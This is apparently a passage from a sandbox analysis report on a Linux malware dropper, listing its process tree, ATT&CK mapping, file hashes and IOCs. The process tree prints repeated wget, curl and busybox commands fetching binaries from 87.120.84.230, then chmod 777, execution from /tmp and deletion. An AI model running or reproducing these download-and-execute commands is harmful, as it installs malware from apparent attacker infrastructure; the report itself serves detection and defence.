  - File and Directory Permissions Modification
  PID:956
- /tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  ./Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:958
- /usr/bin/wget
  wget http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:961
- /bin/chmod
  chmod 777 8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  ./8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm 8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:967
- /bin/chmod
  chmod 777 alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  ./alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:970
- /usr/bin/wget
  wget http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:973
- /bin/chmod
  chmod 777 iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  ./iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc

Path /tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc	734	xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
/tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i	741	ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
/tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X	747	YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
/tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK	773	x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
/tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m	804	qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
/tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb	810	200cUyejdGjWDM9heC9D1Qq26iolWznBRb
/tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2	816	Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
/tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX	838	8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
/tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA	861	alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
/tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz	867	iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
/tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp	873	O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
/tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz	879	Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
/tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1	885	hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
/tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd	891	3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
/tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp	897	O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
/tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz	903	Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
/tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1	909	hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
/tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd	915	3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
/tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc	921	xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
/tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i	927	ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
/tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X	933	YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
/tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK	939	x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
/tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m	945	qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
/tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb	951	200cUyejdGjWDM9heC9D1Qq26iolWznBRb
/tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2	957	Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
/tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX	963	8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
/tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA	969	alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
/tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz	975	iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz